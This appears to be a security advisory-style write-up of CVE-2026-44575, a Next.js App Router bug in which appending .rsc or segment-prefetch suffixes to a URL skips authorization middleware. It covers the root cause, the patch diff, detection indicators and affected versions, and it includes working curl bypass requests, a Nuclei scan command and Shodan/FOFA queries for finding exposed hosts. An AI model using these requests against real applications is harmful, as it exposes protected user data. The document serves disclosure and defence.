Next.js CVE-2026-44575: App Router Middleware Authorization Bypass via Segment Prefetch URLs — Technical Breakdown with PoC and Detection Guidance

Introduction

A middleware authorization bypass in Next.js App Router applications allows unauthenticated users to access protected pages by simply appending .rsc or segment prefetch suffixes to the URL. For any organization relying on Next.js middleware as an authorization layer, and there are many given that Next.js powers production applications at Walmart, Apple, Nike, Netflix, TikTok, Uber, and Spotify, this vulnerability (CVSS 7.5) quietly exposes protected content to anonymous internet traffic without triggering any of the intended access controls.

The issue, tracked as CVE-2026-44575 and classified under CWE-288 (Authentication Bypass Using an Alternate Path or Channel), was part of a coordinated disclosure of twelve security vulnerabilities across Next.js and React on May 6, 2026. Public proof of concept exploits surfaced within five days.

Technical Information

Root Cause: Incomplete Middleware Matcher Regex

The vulnerability originates in the getMiddlewareMatchers function located in packages/next/src/build/analysis/get-page-static-info.ts. This function is responsible for compiling the matcher configuration from middleware.ts into a regular expression that the edge router uses to determine whether middleware should execute for a given request.

In vulnerable versions, the compiled regex only accepted two URL forms:

1. The canonical pathname (e.g., /dashboard)
2. The Pages Router .json data route variant (e.g., /_next/data/BUILD_ID/dashboard.json)

The App Router introduces additional internal transport URL variants that resolve to the same underlying page:

• .rsc suffix: delivers the full route RSC (React Server Components) flight payload (e.g., /dashboard.rsc)
• .segments/$c$children/__PAGE__.segment.rsc suffix: delivers the segment prefetch payload

Because the matcher regex did not account for these App Router transport forms, requests using them were never matched by middleware. The edge router would skip middleware entirely, and the App Router would proceed to render the protected page and return its content.

Attack Flow

The exploitation is straightforward and requires no authentication, no special tooling, and minimal technical knowledge:

1. An unauthenticated attacker sends GET /dashboard.rsc (or GET /dashboard.segments/$c$children/__PAGE__.segment.rsc) with the headers RSC: 1, Next-Router-Prefetch: 1, and Accept: text/x-component.
2. The edge router evaluates the middleware matcher regex compiled from matcher: '/dashboard/:path*'. The regex does not match the .rsc suffix.
3. Middleware is skipped entirely. No auth redirect, no 401, no 403.
4. The App Router renders the protected page and returns the RSC flight payload (Content-Type: text/x-component) containing the same server rendered tree and props the authenticated user would see.

CVSS Breakdown

The CVSS 3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, which breaks down as follows:

The primary risk is unauthorized data access. Integrity and availability are not affected.

Proof of Concept

A publicly available, fully runnable PoC for CVE-2026-44575 exists in the repository dwisiswant0/next-16.2.4-pocs, created by security researcher dwisiswant0 with the help of ProjectDiscovery's Neo reverse engineering platform. The specific PoC bundle is located at poc/CVE-2026-44575_GHSA-267c-6grr-h53f/ and includes a Python exploit (exploit.py), a Bash exploit (exploit.sh), a Nuclei template (CVE-2026-44575.yaml), a minimal vulnerable application, a patch diff, and expected output for validation.

Minimal Reproduction with curl

The following commands from exploit.sh demonstrate the bypass:

# Step 1 – Confirm middleware blocks the canonical path (expect 307 → /login)
curl -k -s -i "http://localhost:3000/dashboard"

# Step 2 – Bypass via .rsc transport variant (expect 200 + text/x-component on vulnerable server)
curl -k -s -i \
  -H 'RSC: 1' \
  -H 'Next-Router-Prefetch: 1' \
  -H 'Next-Router-State-Tree: ["",{}]' \
  -H 'Accept: text/x-component' \
  "http://localhost:3000/dashboard.rsc"

# Step 3 – Bypass via segment-prefetch variant
curl -k -s -i \
  -H 'RSC: 1' \
  -H 'Next-Router-Segment-Prefetch: /__PAGE__' \
  -H 'Accept: text/x-component' \
  "http://localhost:3000/dashboard.segments/\$c\$children/__PAGE__.segment.rsc"

A successful bypass is confirmed when the canonical path returns a redirect (e.g., 307 to /login) but the .rsc or .segments/... variant returns HTTP 200 with Content-Type: text/x-component, leaking the protected page's RSC payload.

Nuclei Template

The PoC also ships as a Nuclei template runnable with:

nuclei -u <target> -t poc/CVE-2026-44575_GHSA-267c-6grr-h53f/CVE-2026-44575.yaml

Patch Information

The fix was delivered in two stages, both targeting the getMiddlewareMatchers function in packages/next/src/build/analysis/get-page-static-info.ts.

Initial Patch: Commit d166096c39 (v15.5.16 / v16.2.5)

Authored by Zack Tanner and committed on May 6, 2026, the commit titled "fix proxy matching for segment prefetch URLs (#89) (#96)" addresses the root cause. The patch introduces new regex constants that extend the matcher to cover all App Router transport forms:

+import {
+  RSC_SUFFIX,
+  RSC_SEGMENT_SUFFIX,
+  RSC_SEGMENTS_DIR_SUFFIX,
+} from '../../lib/constants'
+import { escapeStringRegexp } from '../../shared/lib/escape-regexp'
...
+const APP_ROUTE_RSC_SUFFIX_MATCHER = escapeStringRegexp(RSC_SUFFIX)
+const APP_ROUTE_SEGMENT_PREFETCH_SUFFIX_MATCHER =
+  `${escapeStringRegexp(RSC_SEGMENTS_DIR_SUFFIX)}/.+${escapeStringRegexp(RSC_SEGMENT_SUFFIX)}`
+const APP_ROUTE_TRANSPORT_SUFFIX_MATCHER =
+  `${APP_ROUTE_RSC_SUFFIX_MATCHER}|${APP_ROUTE_SEGMENT_PREFETCH_SUFFIX_MATCHER}`
+const ROOT_APP_ROUTE_TRANSPORT_MATCHER =
+  `/?index(?:${APP_ROUTE_TRANSPORT_SUFFIX_MATCHER})`
+const MIDDLEWARE_DATA_SUFFIX_MATCHER =
+  `\\.json|${APP_ROUTE_TRANSPORT_SUFFIX_MATCHER}`

These constants are then wired into the core matcher building logic. Where previously the regex suffix only optionally matched .json, it now also matches .rsc and the .segments/.+.segment.rsc pattern:

-    source = `/:nextData(_next/data/[^/]{1,})?${source}${
-      isRoot
-        ? `(${nextConfig.i18n ? '|\\.json|' : ''}/?index|/?index\\.json)?`
-        : '{(\\.json)}?'
-    }`
+    const sourceSuffix = `${
+      isRoot
+        ? `(${nextConfig.i18n ? '|\\.json|' : ''}/?index|/?index\\.json|${ROOT_APP_ROUTE_TRANSPORT_MATCHER})?`
+        : `{(${MIDDLEWARE_DATA_SUFFIX_MATCHER})}?`
+    }`
+    source = `${OPTIONAL_MIDDLEWARE_NEXT_DATA_PREFIX}${source}${sourceSuffix}`

In practical terms, a matcher previously compiled for /dashboard would match /dashboard and /dashboard.json, but not /dashboard.rsc or /dashboard.segments/$c$children/__PAGE__.segment.rsc. After the patch, all of those URL forms are matched consistently.

Follow Up Patch: v15.5.18 / v16.2.6 (Turbopack Fix)

The initial fix applied only when using the default Webpack bundler. When middleware.ts was built with Turbopack, the matchers were generated through a separate code path that was not updated by the first commit. This incomplete fix is tracked as CVE-2026-45109 (GHSA-26hh-7cqf-hhc6), and the complete remediation was shipped in Next.js 15.5.18 and 16.2.6. Organizations running Turbopack who only upgraded to 15.5.16 or 16.2.5 remained vulnerable until this second patch.

Patch Summary Table

Detection Methods

Nuclei Detection Template

The publicly available Nuclei template (CVE-2026-44575.yaml) from the dwisiswant0/next-16.2.4-pocs repository implements a three step detection strategy:

1. Baseline request: A normal GET to the canonical protected path (e.g., /dashboard). If middleware is enforcing correctly, this should return a redirect (302/307/308) or a 401/403.
2. .rsc transport variant: A GET to <protected_path>.rsc with headers RSC: 1, Next-Router-Prefetch: 1, Next-Router-State-Tree: ["",{}], and Accept: text/x-component. On a vulnerable server, this bypasses middleware and returns HTTP 200 with Content-Type: text/x-component.
3. Segment prefetch variant: A GET to <protected_path>.segments/$c$children/__PAGE__.segment.rsc with headers RSC: 1, Next-Router-Segment-Prefetch: /__PAGE__, and Accept: text/x-component.

The template confirms a vulnerability when the baseline request triggers middleware protection but either transport variant returns a 200 with the RSC flight payload. It also uses asset discovery queries (shodan-query: http.html:"__NEXT_DATA__" and fofa-query: app="Next.js") to identify internet exposed Next.js instances for proactive scanning.

Cloudflare Emergency WAF Rule

Cloudflare published an emergency WAF release on May 7, 2026 that introduced a managed rule specifically targeting this CVE. The rule is described as "Next.js Middleware Bypass via Invalid RSC Header CVE:CVE-2026-44575" and resides within the Cloudflare Managed Ruleset. Critically, this rule ships with a Disabled default action. Organizations using Cloudflare must manually enable it by navigating to Security > WAF > Managed Rules.

It is also important to note that Vercel explicitly stated they have not deployed new WAF rules for this release because the vulnerability cannot be reliably blocked at the WAF layer. The Cloudflare rule provides an additional detection and blocking signal but should not be considered a substitute for patching.

Network Traffic Indicators of Compromise

For organizations performing log analysis or writing custom WAF/IDS rules, the exploit leaves clear fingerprints:

• URL patterns: Requests ending in .rsc on paths that your middleware protects (e.g., /dashboard.rsc, /admin.rsc, /account.rsc). Also watch for the segment prefetch form: <path>.segments/$c$children/__PAGE__.segment.rsc. Do not overlook the root route equivalent: /index.rsc or /index.segments/....
• Distinctive request headers: The presence of RSC: 1 combined with either Next-Router-Prefetch: 1 or Next-Router-Segment-Prefetch: /__PAGE__ on requests to .rsc suffixed versions of middleware protected paths. While these headers are legitimate for normal Next.js client side navigation, their appearance on protected path variants from sources that have not previously loaded the canonical page is highly suspicious.
• Response characteristics: Successful exploitation produces responses with Content-Type: text/x-component and HTTP 200 status on paths that should return redirects or 4xx codes. Monitoring for this mismatch between expected middleware behavior and actual response codes on .rsc paths is an effective detection heuristic.

Behavioral Detection Approach

The most reliable detection strategy compares behavior across URL variants for the same logical path. If your access logs show that a canonical protected path consistently returns 302/307 (middleware redirect) but the .rsc variant of that same path returns 200, that is a strong signal of either active exploitation or that your instance is vulnerable. This differential response pattern is exactly what both the Nuclei template and the published bash exploit script use as their detection logic.

Affected Systems and Versions

The following Next.js versions are vulnerable to CVE-2026-44575:

• Next.js 15.x: versions 15.2.0 through 15.5.15 (patched in 15.5.16 for Webpack, 15.5.18 for Turbopack)
• Next.js 16.x: versions 16.0.0 through 16.2.4 (patched in 16.2.5 for Webpack, 16.2.6 for Turbopack)
• Next.js 13.x and 14.x: all versions are affected and should upgrade to 15.5.18 or 16.2.6

The vulnerability specifically affects applications that:

• Use the App Router (not the Pages Router exclusively)
• Rely on middleware or proxy based checks for authorization
• Have middleware matchers configured for protected routes

Applications that enforce authorization directly within route or page logic (rather than solely through middleware) are not affected by this bypass, as the authorization check occurs after routing regardless of the URL variant used.

Vendor Security History

The May 2026 disclosure was notable for its scale. The Next.js and React teams disclosed twelve security vulnerabilities simultaneously, spanning middleware bypass, cross site scripting, server side request forgery, cache poisoning, and denial of service. These were patched on May 6, 2026, with a follow up advisory released on May 7 to address the incomplete Turbopack fix for this specific vulnerability.

This is not the first middleware bypass to affect Next.js. The pattern of middleware authorization being circumvented through alternate request paths has been a recurring theme in the framework's security history, reinforcing the architectural recommendation to treat middleware as a defense in depth layer rather than the sole authorization mechanism.

The vendor's response demonstrated coordinated disclosure practices, with patches, advisories, and changelog entries published in a tight window. However, the incomplete initial fix for Turbopack environments highlights the challenge of ensuring patches cover all build tool configurations in a framework with multiple bundler backends.

References

• GitHub Security Advisory GHSA-267c-6grr-h53f
• NVD Entry for CVE-2026-44575
• dwisiswant0/next-16.2.4-pocs: Next.js v16.2.4 Security PoC Collection
• PoC README for CVE-2026-44575
• PoC Python Exploit
• PoC Bash Exploit
• PoC Nuclei Template
• Next.js Commit d166096c39 (Initial Fix)
• GitHub Advisory GHSA-267c-6grr-h53f (API)
• GitHub Advisory GHSA-26hh-7cqf-hhc6 (Turbopack Follow Up)
• GitHub Security Advisory GHSA-26hh-7cqf-hhc6
• Next.js v16.2.5 Release
• Vercel Changelog: Next.js May 2026 Security Release
• Cloudflare Emergency WAF Release (May 7, 2026)
• Cloudflare: React and Next.js Vulnerabilities
• Snyk: next 16.2.2 Vulnerabilities
• Netlify: Security Update for Next.js and React
• Next.js Vulnerability Analysis (ai-heartland.com)
• Alex Matrosov on Shrinking Remediation Windows
• Next.js on Wikipedia